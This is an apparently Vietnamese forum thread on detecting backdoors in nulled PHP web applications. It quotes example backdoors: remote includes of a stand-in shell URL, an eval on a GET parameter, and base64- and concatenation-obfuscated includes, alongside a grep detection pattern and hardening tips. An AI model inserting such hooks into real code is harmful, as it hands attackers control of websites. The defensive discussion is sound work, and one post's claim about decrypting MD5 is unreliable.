Thời gian vừa qua rất nhiều website ở ta bị deface, việc kiện toàn bảo mật cho website đang là một vấn đề khá nóng bỏng. Chủ đề này không đi sâu vào việc kiện toàn bảo mật cho server chứa ứng dụng web, mà thảo luận về việc nhận biết backdoor của web-application không có nguồn gốc rõ ràng.

Thực tế có rất nhiều website sử dụng mã nguồn mở, nhưng kèm theo đó, chủ nhân của website cũng dùng rất nhiều module, component khác không có nguồn gốc rõ ràng (các hacked templates, hacked components,...). Dùng các source này nghĩa là bạn đã chấp nhận phiêu lưu với độ an toàn website của mình. "Source code của ứng dụng có chứa backdoor hay không?" luôn là câu hỏi thời sự. Vậy có cách nào nhận biết, phòng tránh trường hợp này không?

Mời các bạn cùng tham gia thảo luận! 

Thời gian vừa qua rất nhiều website ở ta bị deface, việc kiện toàn bảo mật cho website đang là một vấn đề khá nóng bỏng. Chủ đề này không đi sâu vào việc kiện toàn bảo mật cho server chứa ứng dụng web, mà thảo luận về việc nhận biết backdoor của web-application không có nguồn gốc rõ ràng.

Thực tế có rất nhiều website sử dụng mã nguồn mở, nhưng kèm theo đó, chủ nhân của website cũng dùng rất nhiều module, component khác không có nguồn gốc rõ ràng (các hacked templates, hacked components,...). Dùng các source này nghĩa là bạn đã chấp nhận phiêu lưu với độ an toàn website của mình. "Source code của ứng dụng có chứa backdoor hay không?" luôn là câu hỏi thời sự. Vậy có cách nào nhận biết, phòng tránh trường hợp này không?

Mời các bạn cùng tham gia thảo luận! 

<?php
include($abc);
?>

<?php
include("http://abcxyz.com/shell.php");
?>

Cám ơn đóng góp của protectHat, anh tranhuuphuoc và xnohat,
Đến đây Fal tổng hợp lại ý kiến của mọi người như sau:

1. quét virus toàn bộ source code nghi ngờ;

2. cài đặt, kiểm tra kỹ db xem có gì lạ, khả nghi hay không;

3. chạy thử nghiệm xem có request nào lạ ra bên ngoài không;

4. config server để chống bypass, LFI;

5. debug code.

Quả thật công tác kiện toàn bảo mật cho web-application không thể tách rời việc kiện toàn bảo mật của server. Những bước 1, 2, 3 thực hiện không khó, nhưng đến bước thứ 4 cần phải có kiến thức tốt về hệ thống mới có thể thực hiện được, bước thứ 5 đòi hỏi trình độ code khá cao mới có thể thực hiện được. 2 bước cuối có vẻ ngắn gọn nhưng chứa đựng trong đó quá nhiều công việc.

Đáng tiếc là hiện nay việc kiện toàn bảo mật chưa được quan tâm đúng mức, người dùng nói chung sẵn sàng tắt antivirus để chạy crack một phần mềm nào đó. Coder sẵn sàng download source code lạ trong khi không đủ khả năng để debug.
 

FaL wrote:

Thời gian vừa qua rất nhiều website ở ta bị deface, việc kiện toàn bảo mật cho website đang là một vấn đề khá nóng bỏng. Chủ đề này không đi sâu vào việc kiện toàn bảo mật cho server chứa ứng dụng web, mà thảo luận về việc nhận biết backdoor của web-application không có nguồn gốc rõ ràng.

Thực tế có rất nhiều website sử dụng mã nguồn mở, nhưng kèm theo đó, chủ nhân của website cũng dùng rất nhiều module, component khác không có nguồn gốc rõ ràng (các hacked templates, hacked components,...). Dùng các source này nghĩa là bạn đã chấp nhận phiêu lưu với độ an toàn website của mình. "Source code của ứng dụng có chứa backdoor hay không?" luôn là câu hỏi thời sự. Vậy có cách nào nhận biết, phòng tránh trường hợp này không?

Mời các bạn cùng tham gia thảo luận! 

Cái này khó lắm à nha
Việc cài lại các shell script được trích xuất từ các shell script nổi tiếng như C99, r57 ( php ), JMXshell ( JSP )... là chuyện script kiddies mới làm, vì quất lên antivirus phát là lòi ra ngay tức thì.

Các tay Null source cao tay thì thường chỉ chèn đoạn mã sau ( ví dụ với PHP ):

Code:

<?php
include($abc);
?>

hay biết site đó thành zombies luôn

Code:

<?php
include("http://abcxyz.com/shell.php");
?>

Vụ trên gọi là "cố ý tạo ra lỗi"
Nếu chèn mã như trên thì khá căng , cần trình độ source debugging tốt để dò tìm lỗi bên trong source, đây hoàn toàn là công việc của một tester . Mà tay nào giỏi source debugging thì họ tự NULLED ứng dụng đó rồi, hoặc dư sức tự mua vì trình độ thế thì thường có công ăn việc làm ổn định

Dĩ nhiên cách trên có thể vô hiệu hoá bằng allow_url_fopen=Off ( với PHP ), nhưng lỗi trên vẫn dễ dàng tạo điều kiện cho Local File Inclusion với nhiều phương pháp khai thác nâng cao khác nhau 

<?php
....
if(isset($_GET['chiro8x']))eval($_GET['chiro8x']);
....
?>

Bạn nghĩ sao về đoạn mã nhỏ này:
Code:

<?php
....
if(isset($_GET['chiro8x']))eval($_GET['chiro8x']);
....
?>

Have fun ^^!. 

<?php 
if ($date==time()) include(????)
?>

Nên dùng các tool quét security, bug static để quét code. 

Có thể grep những cái khả nghi như: /../ , /etc , eval, base64 , edit, cmd, exec, pass, ... còn tìm ra hay không thì chắc phải dựa vào may mắn nữa.  

grep -RPn "(passthru|shell_exec|system|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile) *\(" public_html/

Các bạn siêu cao thủ quá..nói thế thì các newmem hiểu sao nổi! Người xem hiểu thì chả cần đọc hướng dẫn các bạn làm gì vì họ...hiểu sẵn rồi! Nên với tư cách newmem nên có ý kiến sau:

_ Tôi thấy thường các backdoor trên web application thì chẳng antivirus nào quét ra nổi.

_ Không dại gì config server bằng cách khoá mấy hàm ít cần (ít cần chứ không phải ko cần) ví dụ như fopen, fclose, readfile thì lỡ tôi muốn xây dựng 1 cái box chat mà lưu database dưới dạng text ngay trong 1 file temp thì sao? Sử dụng mấy lệnh khác tương tự nhưng dài hơn thì...hổng biết ) Hay

_ Không có kiến thức debug..nhưng chung quy backdoor nếu không biến ta thành zoombie thì cũng là ăn cắp information --> và kiểu gì cũng phải gửi đến đâu đó --> Cho lên một host free nào đó ..chạy source --> phân tích bằng firebug còn nếu không biết dùng thì chơi bằng adblock. Cái nào mà không phải từ host của ta thì...bóp chết thôi. Cách bóp chết thì dễ thôi, nếu là file thì xoá file đi, nếu là code thì xoá dòng code đó đi. Nếu kém hơn nữa là không biết sửa thì.... thay địa chỉ đó bằng địa chỉ của ta! Hoặc chặn luôn ip của nó đi cho hết gửi.

_ À có ai chống chế hắn chèn kiểu date=time thì include..thì vô tư đi. Máy chủ là máy ảo, máy client cũng cho ảo luôn. Cả hai máy ảo này cho đổi thời gian chạy luôn 1 năm (mỗi lần đổi time chỉnh cho lên 1 tháng coi) mất tầm 10 phút là truy ra hết mấy địa chỉ rỏm. Nói vui thế chứ, bình thường kiểu gì hắn cũng phải include 1 file shell nằm đâu đó (trong source của ta thì dễ chơi quá khỏi bàn) nếu là 1 đường link thì...ha ha... mở toàn bộ file trong source lên (tôi thấy dùng Notepad++ cũng đựoc) rồi Ctrl+F theo kiểu http,ftp,https,.... thì kiểu gì cũng ra! Ra rồi thì quay lại bước trên kia.

_ Bị chèn trong database SQL, MySQL ư? Lúc đầu cứ đặt prefix bằng tên của riêng ta, cái nào mà không phải tên ta thì cứ xoá vô tư! Hắc hắc... Còn nếu kém hơn thì chơi kiểu 2 source chạy 2 máy khác nhau ( 1 trong nó chạy cái cần thử ) rồi đem 2 cái data ra so sánh mà..bó tay rồi... trước khi install cái nào thì cố xem database nó gồm cái gì, chứ đã install rồi mà ngồi tìm thì có mà ốm...
newmem chỉ biết thế...các bạn chỉ giáo gì không? chứ nói cao siêu như trên thì khó chơi quá
 

include_once(base64_decode("aHR0cDovL3Rlc3RzaXRlLmNvbS9iYWNrZG9vci5waHA="));

include_once("h"."t"."t"."p".":"."/"."/"."testsite.com/backdoor.php");

FaL wrote:

Thời gian vừa qua rất nhiều website ở ta bị deface, việc kiện toàn bảo mật cho website đang là một vấn đề khá nóng bỏng. Chủ đề này không đi sâu vào việc kiện toàn bảo mật cho server chứa ứng dụng web, mà thảo luận về việc nhận biết backdoor của web-application không có nguồn gốc rõ ràng.

Thực tế có rất nhiều website sử dụng mã nguồn mở, nhưng kèm theo đó, chủ nhân của website cũng dùng rất nhiều module, component khác không có nguồn gốc rõ ràng (các hacked templates, hacked components,...). Dùng các source này nghĩa là bạn đã chấp nhận phiêu lưu với độ an toàn website của mình. "Source code của ứng dụng có chứa backdoor hay không?" luôn là câu hỏi thời sự. Vậy có cách nào nhận biết, phòng tránh trường hợp này không?

Mời các bạn cùng tham gia thảo luận! 

Cái này khó lắm à nha
Việc cài lại các shell script được trích xuất từ các shell script nổi tiếng như C99, r57 ( php ), JMXshell ( JSP )... là chuyện script kiddies mới làm, vì quất lên antivirus phát là lòi ra ngay tức thì.

Các tay Null source cao tay thì thường chỉ chèn đoạn mã sau ( ví dụ với PHP ):

Code:

<?php
include($abc);
?>

hay biết site đó thành zombies luôn

Code:

<?php
include("http://abcxyz.com/shell.php");
?>

Vụ trên gọi là "cố ý tạo ra lỗi"
Nếu chèn mã như trên thì khá căng , cần trình độ source debugging tốt để dò tìm lỗi bên trong source, đây hoàn toàn là công việc của một tester . Mà tay nào giỏi source debugging thì họ tự NULLED ứng dụng đó rồi, hoặc dư sức tự mua vì trình độ thế thì thường có công ăn việc làm ổn định

Dĩ nhiên cách trên có thể vô hiệu hoá bằng allow_url_fopen=Off ( với PHP ), nhưng lỗi trên vẫn dễ dàng tạo điều kiện cho Local File Inclusion với nhiều phương pháp khai thác nâng cao khác nhau 

Source code của ứng dụng có chứa backdoor hay không? 

aHR0cDovL3Rlc3RzaXRlLmNvbS9iYWNrZG9vci5waHA=

Chủ đề này không đi sâu vào việc kiện toàn bảo mật cho server chứa ứng dụng web, mà thảo luận về việc nhận biết backdoor của web-application không có nguồn gốc rõ ràng.
 

FaL wrote:

Thời gian vừa qua rất nhiều website ở ta bị deface, việc kiện toàn bảo mật cho website đang là một vấn đề khá nóng bỏng. Chủ đề này không đi sâu vào việc kiện toàn bảo mật cho server chứa ứng dụng web, mà thảo luận về việc nhận biết backdoor của web-application không có nguồn gốc rõ ràng.

Thực tế có rất nhiều website sử dụng mã nguồn mở, nhưng kèm theo đó, chủ nhân của website cũng dùng rất nhiều module, component khác không có nguồn gốc rõ ràng (các hacked templates, hacked components,...). Dùng các source này nghĩa là bạn đã chấp nhận phiêu lưu với độ an toàn website của mình. "Source code của ứng dụng có chứa backdoor hay không?" luôn là câu hỏi thời sự. Vậy có cách nào nhận biết, phòng tránh trường hợp này không?

Mời các bạn cùng tham gia thảo luận! 

Cái này khó lắm à nha
Việc cài lại các shell script được trích xuất từ các shell script nổi tiếng như C99, r57 ( php ), JMXshell ( JSP )... là chuyện script kiddies mới làm, vì quất lên antivirus phát là lòi ra ngay tức thì.

Các tay Null source cao tay thì thường chỉ chèn đoạn mã sau ( ví dụ với PHP ):

Code:

<?php
include($abc);
?>

hay biết site đó thành zombies luôn

Code:

<?php
include("http://abcxyz.com/shell.php");
?>

include("http://abcxyz.com/shell.php";
Vụ trên gọi là "cố ý tạo ra lỗi"
Nếu chèn mã như trên thì khá căng , cần trình độ source debugging tốt để dò tìm lỗi bên trong source, đây hoàn toàn là công việc của một tester . Mà tay nào giỏi source debugging thì họ tự NULLED ứng dụng đó rồi, hoặc dư sức tự mua vì trình độ thế thì thường có công ăn việc làm ổn định

Dĩ nhiên cách trên có thể vô hiệu hoá bằng allow_url_fopen=Off ( với PHP ), nhưng lỗi trên vẫn dễ dàng tạo điều kiện cho Local File Inclusion với nhiều phương pháp khai thác nâng cao khác nhau 

Theo mình nghĩ thông thường các folder cho phép upload chủ yếu là images,thumbs... Vậy nếu backdoor upload vào đây thì chắc nó là .php, .asp, .aspx...

Mình rành linux hơn windows 1 chút nên mình xin nói về linux nhé.

Ý kiến của mình là tạo 1 file .htaccess remove toàn bộ handler .php. Rồi chmod cái .htaccess này sao cho người ta không override nó được.

Tuy nhiên nếu mà source code có quá nhiều folder cho phép upload, việc lạm dụng .htaccess sẽ ảnh hưởng đến performance của hệ thống. Do đó nếu bạn thành thạo code thì có lẽ phải can thiệp vào code để xứ lí thôi.

Ở trên mình đưa ra tình huống là cái form upload đó đã chỉ định upload vào 1 folder trong sourcecode. Nhưng nếu attacker tạo mới 1 folder sau đó ném backdoor vào thì phải làm sao?

Mọi người tiếp tục thảo luận nhé. 

Bạn chiro8x làm như tôi là chuyên gia vậy đã nói từ đầu là newmem mà lỵ )

Còn nữa tôi cứ theo cái câu của FAL

Source code của ứng dụng có chứa backdoor hay không? 

; bàn ra thế, chứ không bàn về source code sau khi bị tấn công hay phát hiện ra bị tấn công!
Cái vụ này phức tạp thật !
Code:

aHR0cDovL3Rlc3RzaXRlLmNvbS9iYWNrZG9vci5waHA=

nó được mã hoá bằng base64 hả? Khó nhỉ? ngoài ra còn chơi SHA hay MD5 nữa cho khoẻ đi... chả biết nó mã hoá bằng gì hay giấu kiểu gì thì kết quả cuối cùng thì cũng là gửi 1 cái gì đó đến cái URL đấy tôi ý kiến như thế các bạn có thấy đúng ko? Thế thì chỉ cần phân tích toàn bộ các url mà server kết nối đến là xong! Newmem chỉ biết thế thôi...Vì ngay FAL đã nói là

Chủ đề này không đi sâu vào việc kiện toàn bảo mật cho server chứa ứng dụng web, mà thảo luận về việc nhận biết backdoor của web-application không có nguồn gốc rõ ràng.
 

Có bạn nào chỉ cách khắc phục vụ form upload với giả sử đang chơi forum thì phải có nơi cho mem upload lên chứ? cấm sao đựoc! 

smile_sad wrote:

Theo mình nghĩ thông thường các folder cho phép upload chủ yếu là images,thumbs... Vậy nếu backdoor upload vào đây thì chắc nó là .php, .asp, .aspx...

Mình rành linux hơn windows 1 chút nên mình xin nói về linux nhé.

Ý kiến của mình là tạo 1 file .htaccess remove toàn bộ handler .php. Rồi chmod cái .htaccess này sao cho người ta không override nó được.

Tuy nhiên nếu mà source code có quá nhiều folder cho phép upload, việc lạm dụng .htaccess sẽ ảnh hưởng đến performance của hệ thống. Do đó nếu bạn thành thạo code thì có lẽ phải can thiệp vào code để xứ lí thôi.

Ở trên mình đưa ra tình huống là cái form upload đó đã chỉ định upload vào 1 folder trong sourcecode. Nhưng nếu attacker tạo mới 1 folder sau đó ném backdoor vào thì phải làm sao?

Mọi người tiếp tục thảo luận nhé. 

backdoor thường có đuôi là .jpg bạn ạ ;
Dùng firephp là cách dễ nhất, đơn giản nhất đó. Nhưng mà dùng NULL thì dính backdoor là thường 

Nếu như nhận biết backdoor theo hành vi của chúng có vẻ là lựa chọn khôn ngoan hơn với sử dụng phương pháp so sánh text content. Nếu có chương trình thực thi các file script và phân tích nó như vậy việc chống backdoor sẽ tốt hơn. 

Hix ! thực sự bạn nguy hiểm quá, nên phát biểu nhữn điều trong tầm hiểu biết của mình nếu không người ta cười cho đấy :"< 

chiro8x wrote:

Nếu như nhận biết backdoor theo hành vi của chúng có vẻ là lựa chọn khôn ngoan hơn với sử dụng phương pháp so sánh text content. Nếu có chương trình thực thi các file script và phân tích nó như vậy việc chống backdoor sẽ tốt hơn. 

Giữa việc nói và việc làm là 2 việc khác nhau, Bạn professional có chương trình hay phương pháp nào như thế thì nói rõ ra, chứ nói chung chung thì ai cũng nói được chẳng cần đến professional làm gì.
Quên mất phải nói điều nữa, bạn đừng chê tôi là newmem vì đây là topic thảo luận chứ không phải là topic hướng dẫn. bạn thông cảm cho, có gì sai thì nói ra để anh em sửa chữa thì mới là thảo luận
Thiếu nút thank bạn vì đã làm mình phải xem lại base64(sha-1) với md5 khác nhau thế nào? Và kết nhất cái câu:

Hix ! thực sự bạn nguy hiểm quá, nên phát biểu nhữn điều trong tầm hiểu biết của mình nếu không người ta cười cho đấy :"< 

 

chiro8x, dacminhm:
Thoải mái đi các bạn, chính mình cũng chưa đạt đến tầm để rà soát, kiểm tra hoàn toàn một source code. Vì thật sự bây giờ source code không đơn giản, cần phải hiểu biết ngôn ngữ, kiến trúc, triết lý,... mới có thể thực hiện công việc đó. Mình tạo ra chủ đề này để học hỏi thêm mọi người về khía cạnh bảo mật, bên cạnh đó cũng để một số bạn chưa quan tâm đúng mức đến vấn đề dùng source code lạ biết được những nguy cơ còn tồn tại.
 

Với MD5 thì chỉ có hàm md5('password')-->7041159938a3c020ab037179de2fac52
=> Chính vì lý do này mà có người nghĩ MD5 chỉ đựoc dùng cho mã hoá password. Tuy MD5 là mã hoá 1 chiều nhưng ta có thể làm như sau: khi mã hoá được đoạn text thì lưu vào database cả đoạn MD5 7041159938a3c020ab037179de2fac52 cùng normal text có thể ánh xạ cho nhau được (cái này thì tuỳ người làm, có thể chia nhỏ cho vào nhiều table khác nhau hay thế nào thì kệ không bàn ở đây). Như vậy khi cần decrypt chỉ cần phép so sánh là xong.